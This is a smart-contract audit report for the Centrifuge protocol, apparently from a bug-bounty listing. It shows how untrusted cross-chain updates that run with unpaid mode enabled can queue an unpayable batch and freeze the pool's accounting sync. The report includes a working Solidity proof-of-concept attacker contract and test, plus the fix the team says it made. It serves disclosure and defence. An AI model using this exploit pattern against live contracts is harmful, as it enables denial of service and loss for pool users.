`MessageProcessor` fails to disable `unpaidMode` during `UntrustedContractUpdate` execution enabling permanent DOS via malicious unpayable batch creation
Untrusted cross-chain contract update messages execute while the gateway's unpaid mode is still enabled, so attacker code can queue a batch with an astronomically high gas limit that is stored as unpaid instead of reverting. Because that batch carries the accounting sync nonce, all later holding and share sync messages fail the nonce check, permanently freezing the hub's view of pool assets and share supply.
Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/984
Found by
0x52
Summary
An attacker can permanently break pool accounting synchronization by exploiting the fact that UntrustedContractUpdate messages execute with unpaidMode = true. The protocol enables unpaidMode when processing all incoming cross-chain messages to allow legitimate messages to be stored as unpaid batches for later payment. However, this setting remains active when executing untrusted contract code, allowing attackers to create nested batches with astronomical gas costs (e.g., 1e26 gas units) that are stored as unpaid instead of reverting. By bundling critical UpdateHoldingAmount and UpdateShares sync messages in the same batch as astronomical-cost transfers, the attacker creates an unpayable batch that costs more than the world's ETH supply to send. This permanently blocks the nonce used by accounting sync messages, freezing the Hub's view of pool assets and share supply while operations continue on Spokes, causing unbounded accounting desynchronization.
Root Cause
MessageProcessor.sol#L171-L180 - Executes UntrustedContractUpdate messages with unpaidMode = true still active, allowing untrusted code to create unpayable batches
No recovery mechanism - Protocol cannot skip, delete, or pay for batches exceeding world ETH supply
Vulnerability Details
The root cause of this vulnerability is that UntrustedContractUpdate messages execute in the context of unpaidMode = true. When the protocol processes incoming cross-chain messages, it enables unpaidMode to allow legitimate messages to be stored as unpaid batches for later payment. However, this setting remains active when executing untrusted contract code, allowing attackers to create malicious unpayable batches that permanently block critical accounting messages.
When MessageProcessor.handle() receives any incoming cross-chain message, it immediately sets unpaidMode = true:
function handle(uint16 centrifugeId, bytes calldata message) external auth {
MessageType kind = message.messageType();
gateway.setUnpaidMode(true); // ← Enabled for ALL incoming messages
This unpaidMode flag controls whether the Gateway will store batches as unpaid when insufficient funds are provided:
function _send(uint16 centrifugeId, bytes memory batch, uint128 batchGasLimit, address refund, uint256 fuel)
internal
returns (uint256 cost)
{
PoolId adapterPoolId = processor.messagePoolId(batch);
require(!isOutgoingBlocked[centrifugeId][adapterPoolId], OutgoingBlocked());
cost = adapter.estimate(centrifugeId, batch, batchGasLimit);
if (fuel >= cost) {
adapter.send{value: cost}(centrifugeId, batch, batchGasLimit, refund);
} else if (unpaidMode) {
_addUnpaidBatch(centrifugeId, batch, batchGasLimit); // ← Stores batch as unpaid
cost = 0;
} else {
revert NotEnoughGas(); // ← Would revert if unpaidMode = false
}
}
When MessageProcessor.handle() encounters an UntrustedContractUpdate message, it calls the untrusted contract's untrustedCall() function while unpaidMode is still true:
MessageProcessor.sol#L171-L180
} else if (kind == MessageType.UntrustedContractUpdate) {
MessageLib.UntrustedContractUpdate memory m = MessageLib.deserializeUntrustedContractUpdate(message);
contractUpdater.untrustedCall( // ← Untrusted code executes with unpaidMode = true
PoolId.wrap(m.poolId),
ShareClassId.wrap(m.scId),
m.target.toAddress(),
m.payload,
centrifugeId,
m.sender
);
Inside the untrustedCall(), the attacker can create nested batches via gateway.withBatch() and add messages with astronomical gas limits. Since unpaidMode = true, these batches will be stored as unpaid rather than reverting with NotEnoughGas(). The attacker uses zero-amount cross-chain transfers to bypass all restrictions while injecting astronomical gas costs:
function crosschainTransferShares(
uint16 centrifugeId,
PoolId poolId,
ShareClassId scId,
bytes32 receiver,
uint128 amount,
uint128 extraGasLimit, // ← Can be astronomical (e.g., 1e26)
uint128 remoteExtraGasLimit,
address refund
) public payable protected {
IShareToken share = IShareToken(shareToken(poolId, scId));
require(centrifugeId != sender.localCentrifugeId(), LocalTransferNotAllowed());
require(
share.checkTransferRestriction(msg.sender, address(uint160(centrifugeId)), amount), // ← amount=0 bypasses checks
CrossChainTransferNotAllowed()
);
share.authTransferFrom(msg.sender, msg.sender, address(this), amount); // ← amount=0, no balance needed
share.burn(address(this), amount); // ← amount=0, burns nothing
emit InitiateTransferShares(centrifugeId, poolId, scId, msg.sender, receiver, amount);
sender.sendInitiateTransferShares{
value: msg.value
}(centrifugeId, poolId, scId, receiver, amount, extraGasLimit, remoteExtraGasLimit, refund); // ← Creates message with astronomical extraGasLimit
}
The attacker then calls queueManager.sync() which creates a nested batch containing critical UpdateHoldingAmount and UpdateShares messages in the same batch as the astronomical-gas transfer:
// Inside attacker's untrustedCall():
spoke.crosschainTransferShares{value: 0}(
targetChainId,
poolId,
scId,
receiver,
0, // ← Zero shares bypasses all hooks
1e26, // ← Astronomical extraGasLimit
0,
address(this)
);
gateway.lockCallback();
queueManager.sync{value: 0}( // ← Adds UpdateHoldingAmount/UpdateShares to SAME batch
poolId,
scId,
assetIds,
address(this)
);
Because unpaidMode = true, the Gateway stores this astronomical-cost batch as unpaid rather than reverting. The stored unpaid batch contains a nonce that blocks all future accounting messages:
function setSnapshot(PoolId poolId, ShareClassId scId, uint16 centrifugeId, bool isSnapshot, uint64 nonce)
external
auth
{
Snapshot storage snapshot_ = snapshot[poolId][scId][centrifugeId];
require(snapshot_.nonce == nonce, InvalidNonce(snapshot_.nonce, nonce)); // ← Blocks all future messages
snapshot_.isSnapshot = isSnapshot;
snapshot_.nonce++;
... snip
}
The frozen nonce specifically blocks two critical message types that sync pool accounting between Spokes and Hub:
UpdateHoldingAmount messages (sent by BalanceSheet.submitQueuedAssets()):
- Syncs asset deposit amounts from Spoke → Hub
- Syncs asset withdrawal amounts from Spoke → Hub
- Carries nonce that must match
Holdings.setSnapshot() - PERMANENTLY BLOCKED - all future UpdateHoldingAmount messages revert with
InvalidNonce
UpdateShares messages (sent by BalanceSheet.submitQueuedShares()):
- Syncs share issuance from Spoke → Hub
- Syncs share revocation from Spoke → Hub
- Carries nonce that must match
Holdings.setSnapshot() - PERMANENTLY BLOCKED - all future UpdateShares messages revert with
InvalidNonce
Both message types are essential for maintaining synchronized accounting state between the Hub and Spokes. When these are permanently blocked, the Hub's view of pool assets and share supply freezes at the moment of attack while Spokes continue processing deposits, withdrawals, mints, and burns. This creates an unbounded accounting divergence that silently compounds over time.
No Pool ID Validation
A critical vulnerability multiplier is that spoke.updateContract() never validates whether the provided poolId actually exists or is registered. The function simply extracts the centrifugeId from the poolId and routes the message to that chain:
function updateContract(
PoolId poolId,
ShareClassId scId,
bytes32 target,
bytes calldata payload,
uint128 extraGasLimit,
address refund
) external payable {
emit UntrustedContractUpdate(poolId.centrifugeId(), poolId, scId, target, payload, msg.sender); // ← Just extracts centrifugeId
sender.sendUntrustedContractUpdate{ // ← No validation, sends to extracted centrifugeId
value: msg.value
}(poolId, scId, target, payload, msg.sender.toBytes32(), extraGasLimit, refund);
}
Similarly, MessageDispatcher.sendUntrustedContractUpdate() performs no validation:
MessageDispatcher.sol#L601-L625
function sendUntrustedContractUpdate(
PoolId poolId,
ShareClassId scId,
bytes32 target,
bytes calldata payload,
bytes32 sender,
uint128 extraGasLimit,
address refund
) external payable auth {
uint16 hubCentrifugeId = poolId.centrifugeId(); // ← Just extracts centrifugeId, no validation
if (hubCentrifugeId == localCentrifugeId) {
contractUpdater.untrustedCall(poolId, scId, target.toAddress(), payload, localCentrifugeId, sender);
_refund(refund);
} else {
_send( // ← Routes to extracted centrifugeId
hubCentrifugeId,
MessageLib.UntrustedContractUpdate({
poolId: poolId.raw(), scId: scId.raw(), target: target, payload: payload, sender: sender
}).serialize(),
extraGasLimit,
refund
);
}
}
This means an attacker can craft a completely fake poolId with any centrifugeId embedded in it, and the protocol will route the UntrustedContractUpdate message to that target chain. No real pools need to exist on any chains - the attacker just needs to encode the target chain's centrifugeId into a spoofed poolId.
Attack Flow
- Attacker calls
spoke.updateContract()(permissionless) on any chain (e.g., Arbitrum) - Attacker provides a spoofed
poolIdwith the target chain'scentrifugeIdembedded (e.g., Ethereum's centrifugeId) - Protocol extracts the
centrifugeIdand routes theUntrustedContractUpdatemessage to that target chain - Target chain's
Gatewayprocesses the message withunpaidMode=true ContractUpdaterroutes to attacker's malicious contract on the target chain- Inside
untrustedCall(), attacker executes on the target chain withunpaidMode=true - Attacker calls any spoke's
crosschainTransferShares()withamount=0andextraGasLimit=1e26 - Attacker calls
gateway.lockCallback()thenqueueManager.sync() - Sync messages (
UpdateHoldingAmount/UpdateShares) are batched with astronomical-gas transfer - Since
unpaidMode=trueandfuel < cost, batch stored as unpaid with nonce N - Future accounting sync messages arrive with nonce N+1, N+2, etc.
Holdings.setSnapshot()on hub chain reverts withInvalidNonce- Pool's accounting sync is permanently blocked
Impact
Pool accounting becomes permanently desynchronized:
- Hub has incorrect asset balances (doesn't know about deposits/withdrawals on Spokes)
- Hub has incorrect share supply (doesn't know about minting/burning on Spokes)
- Pool NAV calculations become permanently wrong
- Share pricing becomes permanently inaccurate
- Rebalancing decisions based on stale data
- Accounting mismatch grows unbounded over time
Other messages NOT affected:
- Cross-chain share transfers (InitiateTransferShares) continue to work
- Price updates (NotifyPricePoolPerShare, NotifyPricePoolPerAsset) continue to work
- Governance messages continue to work
- But these work with wrong accounting data, compounding the damage
Accounting desync is hidden:
- Hub's asset balances and share supply remain frozen at attack moment
- Spokes continue normal operations
- Hub and Spokes diverge further with every deposit/withdrawal/mint/burn
- Users suffer losses from incorrect pricing/NAV calculations while system appears operational
- By the time the desync is discovered, accounting gap may be massive and irrecoverable
Proof of Concept
Add the following file to protocol/test:
pragma solidity 0.8.28;
import "./core/spoke/integration/BaseTest.sol";
import {IGateway} from "../src/core/messaging/interfaces/IGateway.sol";
import {ISpoke} from "../src/core/spoke/interfaces/ISpoke.sol";
import {IQueueManager} from "../src/managers/spoke/interfaces/IQueueManager.sol";
import {IUntrustedContractUpdate} from "../src/core/utils/interfaces/IContractUpdate.sol";
import {AssetId} from "../src/core/types/AssetId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {PoolId} from "../src/core/types/PoolId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
import {CastLib} from "../src/misc/libraries/CastLib.sol";
import {BytesLib} from "../src/misc/libraries/BytesLib.sol";
import {MessageLib, MessageType} from "../src/core/messaging/libraries/MessageLib.sol";
import {IAdapter} from "../src/core/messaging/interfaces/IAdapter.sol";
import "forge-std/console.sol";
contract AttackerContract is IUntrustedContractUpdate {
IGateway public gateway;
ISpoke public spoke;
IQueueManager public queueManager;
PoolId public poolId;
ShareClassId public scId;
AssetId[] public assetIds;
uint16 public targetChainId;
constructor(
address _gateway,
address _spoke,
address _queueManager,
PoolId _poolId,
ShareClassId _scId,
uint16 _targetChainId
) {
gateway = IGateway(_gateway);
spoke = ISpoke(_spoke);
queueManager = IQueueManager(_queueManager);
poolId = _poolId;
scId = _scId;
targetChainId = _targetChainId;
}
function setAssetIds(AssetId[] memory _assetIds) external {
delete assetIds;
for (uint i = 0; i < _assetIds.length; i++) {
assetIds.push(_assetIds[i]);
}
}
/**
* @notice Receives untrusted cross-chain contract update
*/
function untrustedCall(
PoolId /* poolId */,
ShareClassId /* scId */,
bytes calldata /* payload */,
uint16 /* centrifugeId */,
bytes32 /* sender */
) external override {
console.log("\n=== UNTRUSTED CALL RECEIVED (unpaidMode = true) ===");
console.log("Now executing permanent DOS attack...");
// Start outer batch with zero payment
gateway.withBatch{value: 0}(
abi.encodeWithSelector(this.attackCallback.selector),
address(this)
);
console.log("Attack completed - unpaid batch created");
}
/**
* @notice Callback that creates the malicious nested batch
*/
function attackCallback() external {
console.log("\n--- Inside attack callback ---");
// Use very high but not max gas limit to avoid overflow
uint128 astronomicalGas = 1e26; // 100 septillion gas units
console.log("Creating cross-chain transfer with astronomical gas:");
console.log(" extraGasLimit:", astronomicalGas);
// Create a cross-chain transfer with astronomical gas cost
// Use ZERO shares to bypass ALL token hooks and balance requirements
spoke.crosschainTransferShares{value: 0}(
targetChainId, // Destination chain
poolId,
scId,
bytes32(uint256(uint160(address(this)))), // receiver
0, // ← ZERO shares - bypasses all hooks!
astronomicalGas, // ← ASTRONOMICAL extraGasLimit
0, // remoteExtraGasLimit
address(this)
);
console.log("Transfer message added to batch");
gateway.lockCallback();
console.log("Callback locked");
// Now call QueueManager.sync() which creates a NESTED batch
console.log("\nCalling QueueManager.sync (creates nested batch)...");
queueManager.sync{value: 0}(
poolId,
scId,
assetIds,
address(this)
);
console.log("System messages added to same batch");
console.log("Batch will be processed as unpaid due to astronomical cost");
}
}
contract PermanentDOSTest is BaseTest {
using CastLib for *;
using MessageLib for *;
using BytesLib for bytes;
AttackerContract public attacker;
uint128 constant ASTRONOMICAL_GAS = 1e26; // 100 septillion gas units
ShareClassId defaultTypedShareClassId;
address asset1;
address asset2;
AssetId assetId1;
AssetId assetId2;
address vault1;
address vault2;
function setUp() public override {
super.setUp();
console.log("\n=== TEST SETUP ===");
console.log("Gateway address:", address(gateway));
console.log("Spoke address:", address(spoke));
console.log("QueueManager address:", address(queueManager));
console.log("Pool ID:", POOL_A.raw());
defaultTypedShareClassId = ShareClassId.wrap(defaultShareClassId);
// Setup manager permissions
balanceSheet.updateManager(POOL_A, address(queueManager), true);
// Deploy vaults - NO restrictions hook to allow cross-chain transfers
asset1 = address(erc20);
asset2 = address(new ERC20(6));
(, address vaultAddress1, uint128 createdAssetId1) =
deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0), defaultShareClassId, asset1, 0, THIS_CHAIN_ID);
assetId1 = AssetId.wrap(createdAssetId1);
vault1 = vaultAddress1;
(, address vaultAddress2, uint128 createdAssetId2) = deployVault(
VaultKind.SyncDepositAsyncRedeem,
18,
address(0), // NO restrictions hook
defaultShareClassId,
asset2,
0,
THIS_CHAIN_ID
);
assetId2 = AssetId.wrap(createdAssetId2);
vault2 = vaultAddress2;
// Deploy attacker contract
attacker = new AttackerContract(
address(gateway),
address(spoke),
address(queueManager),
POOL_A,
defaultTypedShareClassId,
OTHER_CHAIN_ID // Target different chain (e.g., Ethereum mainnet)
);
// Set asset IDs for the attack
AssetId[] memory assets = new AssetId[](2);
assets[0] = assetId1;
assets[1] = assetId2;
attacker.setAssetIds(assets);
// Queue some pending deposits to create sync messages
// This simulates existing user deposits that haven't been synced yet
erc20.mint(address(asyncRequestManager), 1000e18);
vm.prank(address(asyncRequestManager));
erc20.approve(address(balanceSheet), 1000e18);
vm.prank(address(asyncRequestManager));
balanceSheet.deposit(POOL_A, defaultTypedShareClassId, asset1, 0, 1000e18);
console.log("Queued deposit to trigger sync messages");
console.log("Attacker shares: 0 (none needed - uses zero-amount transfer)");
}
/// forge-config: default.isolate = true
function testPermanentDOS() public {
console.log("\n=== ATTACK ===");
// Step 1: Call spoke.updateContract() to show message can be created on-chain
console.log("\n[STEP 1] Proving message authenticity via spoke.updateContract()...\n");
console.log("Calling spoke.updateContract() - permissionless, anyone can call");
// Construct the expected cross-chain message
bytes memory expectedMessage = MessageLib.UntrustedContractUpdate({
poolId: POOL_A.raw(),
scId: defaultTypedShareClassId.raw(),
target: bytes32(bytes20(address(attacker))),
sender: bytes32(bytes20(address(this))),
payload: ""
}).serialize();
// Expect the PrepareMessage event from Gateway (cross-chain send)
vm.expectEmit(true, true, true, true);
emit IGateway.PrepareMessage(
OTHER_CHAIN_ID, // Destination chain
POOL_A,
expectedMessage
);
// Actually call spoke.updateContract() - this is what an attacker would do
spoke.updateContract{value: DEFAULT_GAS}(
POOL_A,
defaultTypedShareClassId,
bytes32(bytes20(address(attacker))),
"",
0,
address(this)
);
console.log("SUCCESS: spoke.updateContract() executed");
console.log("The protocol SENT this cross-chain message:");
console.log(" Destination: Chain", OTHER_CHAIN_ID);
console.log(" Message Hash:", vm.toString(keccak256(expectedMessage)));
// Step 1b: Use the same message for attack
console.log("\n[STEP 1b] Using same message for attack...\n");
console.log("Attack message:");
console.log(" Type: UntrustedContractUpdate");
console.log(" Length:", expectedMessage.length, "bytes");
console.log(" Hash:", vm.toString(keccak256(expectedMessage)));
// Step 2: Execute attack with the message
console.log("\n[STEP 2] Executing cross-chain attack...\n");
// Record logs to capture UnderpaidBatch event
vm.recordLogs();
centrifugeChain.execute(expectedMessage);
// Step 3: Extract underpaid batch data from Gateway
console.log("\n[STEP 3] Querying underpaid batch data directly from Gateway...\n");
// Parse logs to find UnderpaidBatch event
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 batchHash;
bytes memory batch;
uint16 centrifugeId;
// UnderpaidBatch event signature: UnderpaidBatch(uint16,bytes,bytes32)
bytes32 eventSig = keccak256("UnderpaidBatch(uint16,bytes,bytes32)");
for (uint i = 0; i < logs.length; i++) {
if (logs[i].topics[0] == eventSig) {
// Found the UnderpaidBatch event
centrifugeId = abi.decode(abi.encodePacked(logs[i].topics[1]), (uint16));
(batch, batchHash) = abi.decode(logs[i].data, (bytes, bytes32));
break;
}
}
require(batchHash != bytes32(0), "UnderpaidBatch event not found");
// Query the underpaid struct from Gateway
(uint128 gasLimit, uint64 counter) = gateway.underpaid(centrifugeId, batchHash);
console.log("UNDERPAID BATCH FOUND:");
console.log(" Chain ID:", centrifugeId);
console.log(" Batch Hash:", vm.toString(batchHash));
console.log(" Gas Limit:", gasLimit);
console.log(" Counter:", counter);
console.log(" Batch Length:", batch.length, "bytes");
// Parse batch to extract individual messages (like Gateway.handle does)
console.log("\nBATCH CONTENTS:");
bytes memory remaining = batch;
uint256 msgCount = 0;
while (remaining.length > 0) {
msgCount++;
uint256 length = gateway.processor().messageLength(remaining);
bytes memory message = remaining.slice(0, length);
MessageType msgType = MessageLib.messageType(message);
console.log(" Message", msgCount, "- Type:", uint8(msgType));
console.log(" Length:", length, "bytes");
remaining = remaining.slice(length, remaining.length - length);
}
}
}
The POC demonstrates:
- Message created via authentic
spoke.updateContract()call - Protocol accepts and sends this exact message cross-chain
- Attack uses zero shares (bypasses ALL hooks and restrictions)
- Underpaid batch created with 1e26 gas cost
- Batch stored in Gateway storage permanently blocking nonce
Code Snippet
Vulnerability - UntrustedContractUpdate executes with unpaidMode = true
- MessageProcessor.sol#L83 - Sets
unpaidMode = truefor all incoming messages - MessageProcessor.sol#L171-L180 - Executes untrusted code with
unpaidMode = truestill active
Tool used
Manual Review
Recommendation
Temporarily disable unpaidMode when executing UntrustedContractUpdate messages in MessageProcessor.handle(). This ensures that untrusted code cannot create unpayable batches that would be stored instead of reverting:
} else if (kind == MessageType.UntrustedContractUpdate) {
MessageLib.UntrustedContractUpdate memory m = MessageLib.deserializeUntrustedContractUpdate(message);
+ gateway.setUnpaidMode(false); // Disable unpaid mode for untrusted code
contractUpdater.untrustedCall(
PoolId.wrap(m.poolId),
ShareClassId.wrap(m.scId),
m.target.toAddress(),
m.payload,
centrifugeId,
m.sender
);
+ gateway.setUnpaidMode(true); // Restore unpaid mode for remaining message processing
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/centrifuge/protocol-internal/pull/38
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the message processor leaves the gateway's unpaid mode enabled while executing untrusted contract update code, so nested batches with unpayable gas costs are queued rather than rejected.
Impact
Pool accounting could become permanently desynchronised, with the hub's asset balances and share supply frozen while spokes keep operating, leading to wrong NAV and share pricing; other message types still work, so the divergence compounds silently.
What the attacker needed
No special role needed; attacker can deploy a contract on target chain; target chain reachable via gateway
The fix
The protocol should disable unpaid mode before executing untrusted contract code, or otherwise prevent untrusted calls from queueing unpaid batches, and add a way to recover from stuck batches.
How it was found
- Call the spoke's permissionless updateContract with a spoofed pool id whose embedded chain id is the target chain.
- The target chain's gateway processes the untrusted contract update with unpaid mode still on.
- Inside the untrusted call, open a batch and add a zero-amount cross-chain share transfer with an enormous extra gas limit.
- Lock the callback and call the queue manager's sync so the accounting messages join the same batch.
- The batch is stored as unpaid because the fuel is below the cost, consuming the nonce.
- Later accounting sync messages arrive with a higher nonce and revert with InvalidNonce.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The system lets other chains send it messages, and it normally keeps a message it cannot pay for in a queue to pay later. While running code supplied by an outside party, that 'pay later' setting was still switched on, so the outside code could queue a job with an impossibly huge gas bill. That stuck job holds a sequence number, and every later accounting update is rejected because its number no longer matches, so the two sides drift apart for good.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.